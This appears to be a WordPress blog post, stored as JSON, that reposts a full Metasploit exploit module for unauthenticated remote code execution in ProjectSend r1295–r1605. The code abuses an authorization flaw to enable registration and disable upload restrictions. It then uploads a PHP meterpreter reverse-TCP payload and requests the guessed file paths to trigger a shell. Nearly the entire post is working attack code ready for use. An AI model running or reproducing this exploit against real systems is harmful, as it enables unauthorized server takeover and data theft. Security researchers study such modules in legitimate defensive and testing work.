{"id":60442,"date":"2024-11-22T19:36:25","date_gmt":"2024-11-22T16:36:25","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/182766\/projectsend_unauth_rce.rb.txt"},"modified":"2024-11-22T19:36:25","modified_gmt":"2024-11-22T16:36:25","slug":"projectsend-r1605-unauthenticated-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/projectsend-r1605-unauthenticated-remote-code-execution\/","title":{"rendered":"ProjectSend R1605 Unauthenticated Remote Code Execution"},"content":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::PhpEXE<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>class CSRFRetrievalError &lt; StandardError; end<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;ProjectSend r1295 &#8211; r1605 Unauthenticated Remote Code Execution&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.<br \/>The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user registration,<br \/>disabling the whitelist of allowed file extensions, and uploading a malicious PHP file to the server.<br \/>},<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Florent Sicchio&#8217;, # Discovery<br \/>&#8216;Hugo Clout&#8217;, # Discovery<br \/>&#8216;ostrichgolf&#8217; # Metasploit module<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/github.com\/projectsend\/projectsend\/commit\/193367d937b1a59ed5b68dd4e60bd53317473744&#8217;],<br \/>[&#8216;URL&#8217;, &#8216;https:\/\/www.synacktiv.com\/sites\/default\/files\/2024-07\/synacktiv-projectsend-multiple-vulnerabilities.pdf&#8217;],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-07-19&#8217;,<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[<br \/>&#8216;PHP Command&#8217;,<br \/>{<br \/>&#8216;Platform&#8217; =&gt; &#8216;php&#8217;,<br \/>&#8216;Arch&#8217; =&gt; ARCH_PHP,<br \/>&#8216;Type&#8217; =&gt; :php_cmd,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;PAYLOAD&#8217; =&gt; &#8216;php\/meterpreter\/reverse_tcp&#8217;<br \/>}<br \/>}<br \/>]],<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [CRASH_SAFE],<br \/>&#8216;Reliability&#8217; =&gt; [REPEATABLE_SESSION],<br \/>&#8216;SideEffects&#8217; =&gt; [ARTIFACTS_ON_DISK, IOC_IN_LOGS]}<br \/>)<br \/>)<br \/>register_options(<br \/>[<br \/>OptString.new(<br \/>&#8216;TARGETURI&#8217;,<br \/>[true, &#8216;The TARGETURI for ProjectSend&#8217;, &#8216;\/&#8217;])<br \/>])<br \/>end<\/p>\n<p>def check<br \/># Obtain the current title of the website<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;index.php&#8217;)<br \/>})<br \/>return CheckCode::Unknown(&#8216;Target is not reachable&#8217;) unless res<\/p>\n<p># The title will always contain &#8220;\u00bb&#8221; (&#8220;&amp;raquo;&#8221;) regardless of localization. For example: &#8220;Log in \u00bb ProjectSend&#8221;<br \/>title_regex = %r{&lt;title&gt;.*?&amp;raquo;\\s+(.*?)&lt;\/title&gt;}<br \/>original_title = res.body[title_regex, 1]csrf_token = &#8221;<\/p>\n<p>begin<br \/>csrf_token = get_csrf_token<br \/>rescue CSRFRetrievalError =&gt; e<br \/>return CheckCode::Unknown(&#8220;#{e.class}: #{e}&#8221;)<br \/>end<\/p>\n<p># Generate a new title for the website<br \/>random_new_title = Rex::Text.rand_text_alphanumeric(8)<\/p>\n<p># Test if the instance is vulnerable by trying to change its title<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;section&#8217; =&gt; &#8216;general&#8217;,<br \/>&#8216;this_install_title&#8217; =&gt; random_new_title<br \/>}<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;options.php&#8217;),<br \/>&#8216;keep_cookie&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; params<br \/>})<\/p>\n<p>return CheckCode::Unknown(&#8216;Failed to connect to the provided URL&#8217;) unless res<\/p>\n<p># GET request to check if the title updated<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;index.php&#8217;)<br \/>})<\/p>\n<p># Extract new title for comparison<br \/>updated_title = res.body[title_regex, 1]\n<p>if updated_title != random_new_title<br \/>return CheckCode::Safe<br \/>end<\/p>\n<p># If the title was changed, it is vulnerable and we should restore the original title<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;section&#8217; =&gt; &#8216;general&#8217;,<br \/>&#8216;this_install_title&#8217; =&gt; original_title<br \/>}<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;options.php&#8217;),<br \/>&#8216;keep_cookie&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; params<br \/>})<\/p>\n<p>return CheckCode::Appears<br \/>end<\/p>\n<p>def get_csrf_token<br \/>vprint_status(&#8216;Extracting CSRF token&#8230;&#8217;)<br \/># Make sure we start from a request with no cookies<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;index.php&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p>unless res<br \/>fail_with(Failure::Unknown, &#8216;No response from server&#8217;)<br \/>end<\/p>\n<p># Obtain CSRF token<br \/>csrf_token = res.get_html_document.xpath(&#8216;\/\/input[@name=&#8221;csrf_token&#8221;]\/@value&#8217;)&amp;.text<\/p>\n<p>raise CSRFRetrievalError, &#8216;CSRF token not found in the response&#8217; if csrf_token.nil? || csrf_token.empty?<\/p>\n<p>vprint_good(&#8220;Extracted CSRF token: #{csrf_token}&#8221;)<\/p>\n<p>csrf_token<br \/>end<\/p>\n<p>def enable_user_registration_and_auto_approve<br \/>csrf_token = &#8221;<\/p>\n<p>begin<br \/>csrf_token = get_csrf_token<br \/>rescue CSRFRetrievalError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{e.class}: #{e}&#8221;)<br \/>end<\/p>\n<p># Enable user registration, automatic approval of new users allow all users to upload files and allow users to delete their own files<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;section&#8217; =&gt; &#8216;clients&#8217;,<br \/>&#8216;clients_can_register&#8217; =&gt; 1,<br \/>&#8216;clients_auto_approve&#8217; =&gt; 1,<br \/>&#8216;clients_can_upload&#8217; =&gt; 1,<br \/>&#8216;clients_can_delete_own_files&#8217; =&gt; 1,<br \/>&#8216;clients_auto_group&#8217; =&gt; 0,<br \/>&#8216;clients_can_select_group&#8217; =&gt; &#8216;none&#8217;,<br \/>&#8216;expired_files_hide&#8217; =&gt; &#8216;1&#8217;<br \/>}<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;options.php&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; params<br \/>})<\/p>\n<p># Check if we successfully enabled clients registration<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;index.php&#8217;)<br \/>})<\/p>\n<p>if res&amp;.code == 200 &amp;&amp; res.body.include?(&#8216;Register as a new client.&#8217;)<br \/>print_good(&#8216;Client registration successfully enabled&#8217;)<br \/>else<br \/>fail_with(Failure::Unknown, &#8216;Could not enable client registration&#8217;)<br \/>end<br \/>end<\/p>\n<p>def register_new_user(username, password)<br \/>cookie_jar.clear<br \/>csrf_token = &#8221;<\/p>\n<p>begin<br \/>csrf_token = get_csrf_token<br \/>rescue CSRFRetrievalError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{e.class}: #{e}&#8221;)<br \/>end<\/p>\n<p># Create a new user with the previously generated username and password<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;name&#8217; =&gt; username,<br \/>&#8216;username&#8217; =&gt; username,<br \/>&#8216;password&#8217; =&gt; password,<br \/>&#8217;email&#8217; =&gt; Rex::Text.rand_mail_address,<br \/>&#8216;address&#8217; =&gt; Rex::Text.rand_text_alphanumeric(8)<br \/>}<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;register.php&#8217;),<br \/>&#8216;keep_cookie&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; params<br \/>})<\/p>\n<p>fail_with(Failure::Unknown, &#8216;Could not create a new user&#8217;) unless res&amp;.code != 403<br \/>print_good(&#8220;User #{username} created with password #{password}&#8221;)<br \/>end<\/p>\n<p>def disable_upload_restrictions<br \/>cookie_jar.clear<br \/>csrf_token = &#8221;<\/p>\n<p>begin<br \/>csrf_token = get_csrf_token<br \/>rescue CSRFRetrievalError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{e.class}: #{e}&#8221;)<br \/>end<\/p>\n<p>print_status(&#8216;Disabling upload restrictions&#8230;&#8217;)<\/p>\n<p># Disable upload restrictions, to allow us to upload our shell<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;section&#8217; =&gt; &#8216;security&#8217;,<br \/>&#8216;file_types_limit_to&#8217; =&gt; &#8216;noone&#8217;<br \/>}<\/p>\n<p>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;options.php&#8217;),<br \/>&#8216;keep_cookie&#8217; =&gt; true,<br \/>&#8216;vars_post&#8217; =&gt; params<br \/>})<br \/>end<\/p>\n<p>def login(username, password)<br \/>cookie_jar.clear<br \/>csrf_token = &#8221;<\/p>\n<p>begin<br \/>csrf_token = get_csrf_token<br \/>rescue CSRFRetrievalError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{e.class}: #{e}&#8221;)<br \/>end<\/p>\n<p>print_status(&#8220;Logging in as #{username}&#8230;&#8221;)<\/p>\n<p># Attempt to login as our newly created user<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;do&#8217; =&gt; &#8216;login&#8217;,<br \/>&#8216;username&#8217; =&gt; username,<br \/>&#8216;password&#8217; =&gt; password<br \/>}<\/p>\n<p>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;index.php&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; params,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p># Version r1295 does not set a cookie on login, instead we check for a redirect to the expected page indicating a successful login<br \/>if res&amp;.headers&amp;.[](&#8216;Set-Cookie&#8217;) || (res&amp;.code == 302 &amp;&amp; res&amp;.headers&amp;.[](&#8216;Location&#8217;)&amp;.include?(&#8216;\/my_files\/index.php&#8217;))<br \/>print_good(&#8220;Logged in as #{username}&#8221;)<br \/>return csrf_token<br \/>else<br \/>fail_with(Failure::NoAccess, &#8216;Failed to authenticate. This can happen, you should try to execute the exploit again&#8217;)<br \/>end<br \/>end<\/p>\n<p>def upload_file(username, password, filename)<br \/>login(username, password)<\/p>\n<p># Craft the payload<br \/>payload = get_write_exec_payload(unlink_self: true)<br \/>data = Rex::MIME::Message.new<br \/>data.add_part(filename, nil, nil, &#8216;form-data; name=&#8221;name&#8221;&#8216;)<br \/>data.add_part(payload, &#8216;application\/octet-stream&#8217;, nil, &#8220;form-data; name=\\&#8221;file\\&#8221;; filename=\\&#8221;#{Rex::Text.rand_text_alphanumeric(8)}\\&#8221;&#8221;)<br \/>post_data = data.to_s<\/p>\n<p># Upload the shell using a POST request<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;includes&#8217;, &#8216;upload.process.php&#8217;),<br \/>&#8216;ctype&#8217; =&gt; &#8220;multipart\/form-data; boundary=#{data.bound}&#8221;,<br \/>&#8216;data&#8217; =&gt; post_data,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p># Check if the server confirms our upload as successful<br \/>if res &amp;&amp; res.body.include?(&#8216;&#8221;OK&#8221;:1&#8217;)<br \/>print_good(&#8220;Successfully uploaded PHP file: #{filename}&#8221;)<\/p>\n<p>json_response = res.get_json_document<br \/>@file_id = json_response.dig(&#8216;info&#8217;, &#8216;id&#8217;)<\/p>\n<p>return res.headers[&#8216;Date&#8217;]else<br \/>fail_with(Failure::Unknown, &#8216;PHP file upload failed&#8217;)<br \/>end<br \/>end<\/p>\n<p>def calculate_potential_filenames(username, upload_time, filename)<br \/># Hash the username<br \/>hashed_username = Digest::SHA1.hexdigest(username)<\/p>\n<p># Parse the upload time<br \/>base_time = Time.parse(upload_time).utc<\/p>\n<p># Array to store all possible URLs<br \/>possible_urls = []\n<p># Iterate over all timezones<br \/>(-12..14).each do |timezone|<br \/># Update the variable to reflect the currently looping timezone<br \/>adj_time = base_time + (timezone * 3600)<\/p>\n<p># Insert the potential URL into our array<br \/>possible_urls &lt;&lt; &#8220;#{adj_time.to_i}-#{hashed_username}-#{filename}&#8221;<br \/>end<\/p>\n<p>possible_urls<br \/>end<\/p>\n<p>def cleanup<br \/>super<\/p>\n<p># Delete uploaded file<br \/>if @file_id<br \/>cookie_jar.clear<br \/>csrf_token = login(@username, @password)<\/p>\n<p># Delete our uploaded payload from the portal<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;action&#8217; =&gt; &#8216;delete&#8217;,<br \/>&#8216;batch[]&#8217; =&gt; @file_id<br \/>}<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;manage-files.php&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; params,<br \/>&#8216;keep_cookies&#8217; =&gt; true<br \/>})<\/p>\n<p># Version r1295 uses a GET request to delete the uploaded file<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;manage-files.php&#8217;),<br \/>&#8216;keep_cookies&#8217; =&gt; true,<br \/>&#8216;vars_get&#8217; =&gt; {<br \/>&#8216;action&#8217; =&gt; &#8216;delete&#8217;,<br \/>&#8216;batch[]&#8217; =&gt; @file_id<br \/>}<br \/>})<br \/>end<\/p>\n<p>cookie_jar.clear<br \/>csrf_token = &#8221;<\/p>\n<p>begin<br \/>csrf_token = get_csrf_token<br \/>rescue CSRFRetrievalError =&gt; e<br \/>fail_with(Failure::UnexpectedReply, &#8220;#{e.class}: #{e}&#8221;)<br \/>end<\/p>\n<p># Disable user registration, automatic approval of new users, disallow all users to upload files and prevent users from deleting their own files<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;section&#8217; =&gt; &#8216;clients&#8217;,<br \/>&#8216;clients_can_register&#8217; =&gt; 0,<br \/>&#8216;clients_auto_approve&#8217; =&gt; 0,<br \/>&#8216;clients_can_upload&#8217; =&gt; 0,<br \/>&#8216;clients_can_delete_own_files&#8217; =&gt; 0<br \/>}<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;options.php&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; params<br \/>})<\/p>\n<p># Check if we successfully disabled client registration<br \/>res = send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;index.php&#8217;)<br \/>})<\/p>\n<p>if res&amp;.body&amp;.include?(&#8216;Register as a new client.&#8217;)<br \/>fail_with(Failure::Unknown, &#8216;Could not disable client registration&#8217;)<br \/>end<br \/>print_good(&#8216;Client registration successfully disabled&#8217;)<\/p>\n<p>print_status(&#8216;Enabling upload restrictions&#8230;&#8217;)<\/p>\n<p># Enable upload restrictions for every user<br \/>params = {<br \/>&#8216;csrf_token&#8217; =&gt; csrf_token,<br \/>&#8216;section&#8217; =&gt; &#8216;security&#8217;,<br \/>&#8216;file_types_limit_to&#8217; =&gt; &#8216;all&#8217;<br \/>}<\/p>\n<p>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;POST&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;options.php&#8217;),<br \/>&#8216;vars_post&#8217; =&gt; params<br \/>})<br \/>end<\/p>\n<p>def trigger_shell(potential_urls)<br \/># Visit each URL, to trigger our payload<br \/>potential_urls.each do |url|<br \/>send_request_cgi({<br \/>&#8216;method&#8217; =&gt; &#8216;GET&#8217;,<br \/>&#8216;uri&#8217; =&gt; normalize_uri(datastore[&#8216;TARGETURI&#8217;], &#8216;upload&#8217;, &#8216;files&#8217;, url)<br \/>}, 1)<br \/>end<br \/>end<\/p>\n<p>def exploit<br \/>enable_user_registration_and_auto_approve<\/p>\n<p>username = Faker::Internet.username<br \/>password = Rex::Text.rand_text_alphanumeric(8)<br \/>filename = Rex::Text.rand_text_alphanumeric(8) + &#8216;.php&#8217;<\/p>\n<p># Set instance variables for cleanup function<br \/>@username = username<br \/>@password = password<\/p>\n<p>register_new_user(username, password)<\/p>\n<p>disable_upload_restrictions<\/p>\n<p>upload_time = upload_file(username, password, filename)<\/p>\n<p>potential_urls = calculate_potential_filenames(username, upload_time, filename)<\/p>\n<p>trigger_shell(potential_urls)<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::PhpEXEprepend Msf::Exploit::Remote::AutoCheck class CSRFRetrievalError &lt; StandardError; end def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;ProjectSend r1295 &#8211; r1605 Unauthenticated Remote Code Execution&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits an improper authorization vulnerability in ProjectSend versions r1295 through r1605.The vulnerability allows an unauthenticated attacker to obtain remote code execution by enabling user &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-60442","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60442","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=60442"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/60442\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=60442"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=60442"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=60442"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}